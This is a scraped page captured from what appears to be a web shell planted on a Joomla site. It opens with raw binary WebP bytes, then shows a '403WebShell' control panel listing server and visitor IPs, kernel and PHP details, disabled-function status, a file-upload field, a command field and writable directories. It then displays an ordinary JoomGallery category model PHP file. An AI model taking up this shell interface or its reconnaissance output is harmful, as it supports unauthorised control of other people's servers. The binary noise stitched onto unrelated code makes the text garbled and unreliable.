....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 172.67.169.23  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/components/com_joomgallery/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/components/com_joomgallery/models//category.php
<?php
// $HeadURL: https://joomgallery.org/svn/joomgallery/JG-3/JG/trunk/components/com_joomgallery/models/category.php $
// $Id: category.php 4345 2013-11-16 05:53:14Z chraneco $
/****************************************************************************************\
**   JoomGallery 3                                                                   **
**   By: JoomGallery::ProjectTeam                                                       **
**   Copyright (C) 2008 - 2013  JoomGallery::ProjectTeam                                **
**   Based on: JoomGallery 1.0.0 by JoomGallery::ProjectTeam                            **
**   Released under GNU GPL Public License                                              **
**   License: http://www.gnu.org/copyleft/gpl.html or have a look                       **
**   at administrator/components/com_joomgallery/LICENSE.TXT                            **
\****************************************************************************************/

defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**
 * Category view model
 *
 * @package JoomGallery
 * @since   1.5.5
 */
class JoomGalleryModelCategory extends JoomGalleryModel
{
  /**
   * Category data object
   *
   * @var     object
   */
  protected $_category;

  /**
   * Categories data array
   *
   * @var     array
   */
  protected $_categories;

  /**
   * Categories number
   *
   * @var     int
   */
  protected $_totalcategories;

  /**
   * Categories data array (without empty categories)
   *
   * @var     array
   */
  private $_categorieswithoutempty;

  /**
   * Categories number (without empty categories)
   *
   * @var     int
   */
  private $_totalcategorieswithoutempty = null;

  /**
   * Images data array
   *
   * @var     array
   */
  protected $_images;

  /**
   * Images number
   *
   * @var     int
   */
  protected $_totalimages;

  /**
   * Images data array holding all images of
   * the current category an its sub-categories
   *
   * @var     array
   */
  protected $_allimages;

  /**
   * Constructor
   *
   * @since   1.5.5
   */
  public function __construct()
  {
    parent::__construct();

    $id = JRequest::getInt('catid', 0);
    $this->setId($id);
  }

  /**
   * Method to set the category identifier
   *
   * @param   int     $id The Category ID
   * @return  void
   * @since   1.5.5
   */
  public function setId($id)
  {
    // Set new category ID if valid and wipe data
    if(!$id)
    {
      $this->_mainframe->redirect(JRoute::_('index.php?view=gallery', false), JText::_('COM_JOOMGALLERY_COMMON_NO_CATEGORY_SPECIFIED'), 'notice');
    }

    $this->_id                          = $id;
    $this->_category                    = null;
    $this->_categories                  = null;
    $this->_totalcategories             = null;
    $this->_categorieswithoutempty      = null;
    $this->_totalcategorieswithoutempty = null;
    $this->_images                      = null;
    $this->_totalimages                 = null;
  }

  /**
   * Method to get the data of the current category
   *
   * @return  object  An object with the category data
   * @since   1.5.5
   */
  public function getCategory()
  {
    if($this->_loadCategory())
    {
      return $this->_category;
    }

    return false;
  }

  /**
   * Retrieves the data of all sub-categories
   *
   * @return  array   Array of objects containing the categories data from the database
   * @since   1.5.5
   */
  public function getCategories()
  {
    if($this->_loadCategories())
    {
      return $this->_categories;
    }

    return array();
  }

  /**
   * Method to get the total number of categories
   *
   * @return  int     The total number of categories
   * @since   1.5.5
   */
  public function getTotalCategories()
  {
    // Let's load the categories if they doesn't already exist
    if(empty($this->_totalcategories))
    {
      $query = $this->_buildCategoriesQuery();
      $this->_totalcategories = $this->_getListCount($query);
    }

    return $this->_totalcategories;
  }

  /**
   * Returns the array of all available sub-categories
   * of the the current category without empty categories
   *
   * @return  array Categories objects array
   * @since   1.5.7
   */
  public function getCategoriesWithoutEmpty()
  {
    if($this->_loadCategoriesWithoutEmpty())
    {
      // We still have to select the categories according to the pagination
      $limit      = $this->_config->get('jg_subperpage');
      $limitstart = JRequest::getInt('catlimitstart', 0);
      $cats       = array_slice($this->_categorieswithoutempty, $limitstart, $limit);

      return $cats;
    }

    return array();
  }

  /**
   * Method to get the total number of categories without empty categories
   *
   * @return  int     The total number of categories without empty ones
   * @since   1.5.7
   */
  public function getTotalCategoriesWithoutEmpty()
  {
    // Let's calculate the number if it doesn't already exist
    if(empty($this->_totalcategorieswithoutempty))
    {
      if(!$this->_loadCategoriesWithoutEmpty())
      {
        return 0;
      }
    }

    return $this->_totalcategorieswithoutempty;
  }

  /**
   * Retrieves the data of all images of the current category
   *
   * @return  array   Array of objects containing the images data from the database
   * @since   1.5.5
   */
  public function getImages()
  {
    if($this->_loadImages())
    {
      return $this->_images;
    }

    return array();
  }

  /**
   * Retrieves the id from the first image of a category
   * needed for Option 'Skip category view'
   *
   * @param   int    category id
   * @return  int    id of detail image
   * @since   2.0
   */
  public function getImageCat($catId)
  {
    $authorisedViewLevels = implode(',', $this->_user->getAuthorisedViewLevels());

    $query = $this->_db->getQuery(true)
          ->select('id')
          ->from(_JOOM_TABLE_IMAGES.' AS a')
          ->leftJoin(_JOOM_TABLE_CATEGORIES.' AS c ON c.cid = a.catid')
          ->where('a.published = 1')
          ->where('a.catid     = '.$catId)
          ->where('a.approved  = 1')
          ->where('a.hidden    = 0')
          ->where('a.access    IN ('.$authorisedViewLevels.')')
          ->where('c.access    IN ('.$authorisedViewLevels.')');
    if($this->_config->get('jg_firstorder'))
    {
      $query->order('a.'.$this->_config->get('jg_firstorder'));
    }
    if($this->_config->get('jg_secondorder'))
    {
      $query->order('a.'.$this->_config->get('jg_secondorder'));
    }
    if($this->_config->get('jg_thirdorder'))
    {
      $query->order('a.'.$this->_config->get('jg_thirdorder'));
    }

    $this->_db->setQuery($query);
    $img = $this->_db->loadResult();

    return $img;
  }

  /**
   * Method to get the total number of images
   *
   * @return  int     The total number of images
   * @since   1.5.5
   */
  public function getTotalImages()
  {
    // Let's load the categories if they doesn't already exist
    if(empty($this->_totalimages))
    {
      $query = $this->_buildImagesQuery();
      $this->_totalimages = $this->_getListCount($query);
    }

    return $this->_totalimages;
  }

  /**
   * Retrieves the data of all images of the current category and its sub-categories
   *
   * @return  array   Array of objects containing the images data from the database
   * @since   1.5.7
   */
  public function getAllImages()
  {
    if($this->_loadAllImages())
    {
      return $this->_allimages;
    }

    return array();
  }

  /**
   * Method to get one image selected by chance
   *
   * @return  object  An object with the data of the selected image
   * @since   1.5.5
   */
  public function getRandomImage($catid = 0, $random_catid = 0)
  {
    $authorisedViewLevels = implode(',', $this->_user->getAuthorisedViewLevels());

    $query = $this->_db->getQuery(true)
          ->select('*, c.access')
          ->from(_JOOM_TABLE_IMAGES.' AS p')
          ->leftJoin(_JOOM_TABLE_CATEGORIES.' AS c ON c.cid = p.catid');
    if($this->_config->get('jg_showrandomcatthumb') == 1)
    {
      $query->where('p.catid = '.$catid);
    }
    else
    {
      if($this->_config->get('jg_showrandomcatthumb') >= 2)
      {
        $query->where('p.catid = '.$random_catid);
      }
    }
    $query->where('p.access   IN ('.$authorisedViewLevels.')')
          ->where('p.published = 1')
          ->where('p.approved  = 1')
          ->where('c.access   IN ('.$authorisedViewLevels.')')
          ->where('c.published = 1');

    $this->_db->setQuery($query);
    if(!$rows = $this->_db->loadObjectList())
    {
      return false;
    }

    $row = $rows[mt_rand(0, count($rows) - 1)];

    return $row;
  }

  /**
   * Method to unlock a password protected category
   *
   * @param   int     $catid    ID of the category to unlock
   * @param   string  $password Password of the category to check
   * @return  boolean True on success, false otherwise
   * @since   3.1
   */
  public function unlock($catid, $password)
  {
    $query = $this->_db->getQuery(true)
          ->select('cid, password')
          ->from($this->_db->quoteName(_JOOM_TABLE_CATEGORIES))
          ->where('cid = '.(int) $catid);
    $this->_db->setQuery($query);

    if(!$category = $this->_db->loadObject())
    {
      throw new Exception($this->_db->getErrorMsg());
    }

    if(!$category->password)
    {
      throw new Exception('Category is not protected.');
    }

    $match = false;
    if(substr($category->password, 0, 4) == '$2y$')
    {
      // BCrypt passwords are always 60 characters, but it is possible that salt is appended although non standard.
      $password60 = substr($category->password, 0, 60);

      if(JCrypt::hasStrongPasswordSupport())
      {
        $match = password_verify($password, $password60);
      }
    }
    else
    {
      if(substr($category->password, 0, 8) == '{SHA256}')
      {
        // Check the password
        $parts  = explode(':', $category->password);
        $crypt  = $parts[0];
        $salt   = @$parts[1];
        $testcrypt = JUserHelper::getCryptedPassword($password, $salt, 'sha256', false);

        if($category->password == $testcrypt)
        {
          $match = true;
        }
      }
      else
      {
        // Check the password
        $parts  = explode(':', $category->password);
        $crypt  = $parts[0];
        $salt   = @$parts[1];

        $testcrypt = JUserHelper::getCryptedPassword($password, $salt, 'md5-hex', false);

        if($crypt == $testcrypt)
        {
          $match = true;
        }
      }
    }

    if(!$match)
    {
      throw new Exception(JText::_('COM_JOOMGALLERY_CATEGORY_WRONG_PASSWORD'));
    }

    $categories = $this->_mainframe->getUserState('joom.unlockedCategories', array(0));
    $categories = array_unique(array_merge($categories, array($catid)));
    $this->_mainframe->setUserState('joom.unlockedCategories', $categories);

    return true;
  }

  /**
   * Method to load the data of the current category
   *
   * @return  boolean   True on success, false otherwise
   * @since   1.5.5
   */
  protected function _loadCategory()
  {
    // Check whether the requested category exists and
    // whether the current user is allowed to see it
    $allowed = true;
    $categories = $this->_ambit->getCategoryStructure();
    if(!isset($categories[$this->_id]))
    {
      $allowed = false;
    }

    // Let's load the data if it doesn't already exist
    if(empty($this->_category))
    {
      $query = $this->_db->getQuery(true)
            ->select('cid, name, parent_id, description, password, owner, metakey, metadesc, params')
            ->from(_JOOM_TABLE_CATEGORIES)
            ->where('cid       = '.$this->_id)
            ->where('published = 1')
            ->where('access    IN ('.implode(',', $this->_user->getAuthorisedViewLevels()).')');

      $this->_db->setQuery($query);

      if(!$row = $this->_db->loadObject())
      {
        JError::raiseError(500, JText::sprintf('Category with ID %d not found', $this->_id));
      }

      $this->_category = $row;
    }

    if(!$allowed)
    {
      $this->_category->protected = true;
      if(     (!$this->_category->password || in_array($this->_id, $this->_mainframe->getUserState('joom.unlockedCategories', array(0))))
          &&  $this->_category->parent_id > 1
          &&  !isset($categories[$this->_category->parent_id]))
      {
        JError::raiseError(500, JText::sprintf('Category with ID %d not found', $this->_id));
      }
    }

    return true;
  }

  /**
   * Method to load the data of all sub-categories
   *
   * @return  boolean   True on success, false otherwise
   * @since   1.5.5
   */
  protected function _loadCategories()
  {
    // Let's load the data if it doesn't already exist
    if(empty($this->_categories))
    {
      // Get the pagination request variables
      $limit      = $this->_config->get('jg_subperpage');#JRequest::getVar('limit', 0, '', 'int');
      $limitstart = JRequest::getInt('catlimitstart', 0);

      $query = $this->_buildCategoriesQuery();

      if(!$rows = $this->_getList($query, $limitstart, $limit))
      {
        return false;
      }

      $this->_categories = $rows;
    }

    return true;
  }

  /**
   * Loads the data of all available categories from the database
   * and checks whether the categories are empty.
   * This method stores only the categories which aren't empty after that.
   *
   * @return  boolean True on success, false otherwise
   * @since   1.5.7
   */
  private function _loadCategoriesWithoutEmpty()
  {
    // Let's load the data if it doesn't already exist
    if(empty($this->_categorieswithoutempty))
    {
      $query = $this->_buildCategoriesQuery();
      if(!$cats = $this->_getList($query))
      {
        return false;
      }

      foreach($cats as $key => $cat)
      {
        // Get all sub-categories for each category which contain images
        $subcategories = JoomHelper::getAllSubCategories($cat->cid, true);
        if(!count($subcategories))
        {
          unset($cats[$key]);
        }
      }

      $this->_categorieswithoutempty      = $cats;
      $this->_totalcategorieswithoutempty = count($cats);
    }

    return true;
  }

  /**
   * Method to load the data of all images of the current category
   *
   * @return  boolean   True on success, false otherwise
   * @since   1.5.5
   */
  protected function _loadImages()
  {
    // Let's load the data if it doesn't already exist
    if(empty($this->_images))
    {
      // Get the pagination request variables
      $limitstart = JRequest::getInt('limitstart', 0);
      if($limitstart == -1)
      {
        // If we want to display all images in a popup box we will need all images
        $limit  = null;
      }
      else
      {
        $limit  = JRequest::getInt('limit', 0);
      }

      $query = $this->_buildImagesQuery();

      if(!$rows = $this->_getList($query, $limitstart, $limit))
      {
        return false;
      }

      $this->_images = $rows;
    }

    return true;
  }

  /**
   * Method to load the data of all images of the current category and its sub-categories
   *
   * @return  boolean   True on success, false otherwise
   * @since   1.5.7
   */
  protected function _loadAllImages()
  {
    // Let's load the data if it doesn't already exist
    if(empty($this->_allimages))
    {
      $limit = JRequest::getInt('limit', 0);

      if(!$limit)
      {
        // RSS in category view is disabled
        return false;
      }

      if($limit < 0)
      {
        // If $limit is negative all images will be loaded
        $limit  = null;
      }

      $catids = JoomHelper::getAllSubCategories($this->_id, true);

      $authorisedViewLevels = implode(',', $this->_user->getAuthorisedViewLevels());

      $query = $this->_db->getQuery(true)
            ->select('*, a.owner AS owner')
            ->from(_JOOM_TABLE_IMAGES.' AS a')
            ->leftJoin(_JOOM_TABLE_CATEGORIES.' AS c ON c.cid = a.catid')
            ->where('c.cid       IN ('.implode(',', $catids).')')
            ->where('a.published = 1')
            ->where('a.approved  = 1')
            ->where('a.hidden    = 0')
            ->where('a.access    IN ('.$authorisedViewLevels.')')
            ->where('c.published = 1')
            ->where('c.access    IN ('.$authorisedViewLevels.')')
            ->where('c.hidden    = 0')
            ->order('a.imgdate DESC');

      if(!$rows = $this->_getList($query, 0, $limit))
      {
        return false;
      }

      $this->_allimages = $rows;
    }

    return true;
  }

  /**
   * Returns the query for loading the categories
   *
   * @return  string    The query to be used to retrieve the categories data from the database
   * @since   1.5.5
   */
  protected function _buildCategoriesQuery()
  {
    $query = $this->_db->getQuery(true)
          ->select('c.*')
          ->from(_JOOM_TABLE_CATEGORIES.' AS c');

    // Join over the images if necessary
    if($this->_config->get('jg_showsubthumbs') == 1 || $this->_config->get('jg_showsubthumbs') == 3)
    {
      $query->select('i.id, i.catid, i.imgthumbname, i.hidden AS imghidden')
            ->leftJoin(_JOOM_TABLE_IMAGES.' AS i ON (     c.thumbnail = i.id
                                                      AND i.published = 1
                                                      AND i.approved  = 1
                                                      AND i.access    IN ('.implode(',', $this->_user->getAuthorisedViewLevels()).'))');
    }

    $query->where('c.published = 1')
          ->where('c.hidden    = 0')
          ->where('c.parent_id = '.$this->_id);

    if(!$this->_config->get('jg_showrestrictedcats'))
    {
      $query->where('c.access IN ('.implode(',', $this->_user->getAuthorisedViewLevels()).')');
    }

    if($this->_config->get('jg_hideemptycats'))
    {
      $query->where(' (((SELECT COUNT(id) FROM '._JOOM_TABLE_IMAGES.' AS i WHERE i.catid = c.cid) != 0)
                    OR
                      ((SELECT COUNT(cid) FROM '._JOOM_TABLE_CATEGORIES.' AS sc WHERE sc.parent_id = c.cid) != 0))');
    }

    if($this->_config->get('jg_ordersubcatbyalpha'))
    {
      $query->order('c.name');
    }
    else
    {
      $query->order('c.lft ASC');
    }

    return $query;
  }

  /**
   * Returns the query for loading the images
   *
   * @return  object  The query to be used to retrieve the images data from the database
   * @since   1.5.5
   */
  protected function _buildImagesQuery()
  {
    $authorisedViewLevels = implode(',', $this->_user->getAuthorisedViewLevels());

    $query = $this->_db->getQuery(true)
          ->select('*, a.owner AS owner, '.JoomHelper::getSQLRatingClause('a').'AS rating');
    if($this->_config->get('jg_showcatcom'))
    {
      $subquery = $this->_db->getQuery(true)
               ->select('COUNT(cmtid)')
               ->from(_JOOM_TABLE_COMMENTS)
               ->where('cmtpic    = a.id')
               ->where('published = 1')
               ->where('approved  = 1');

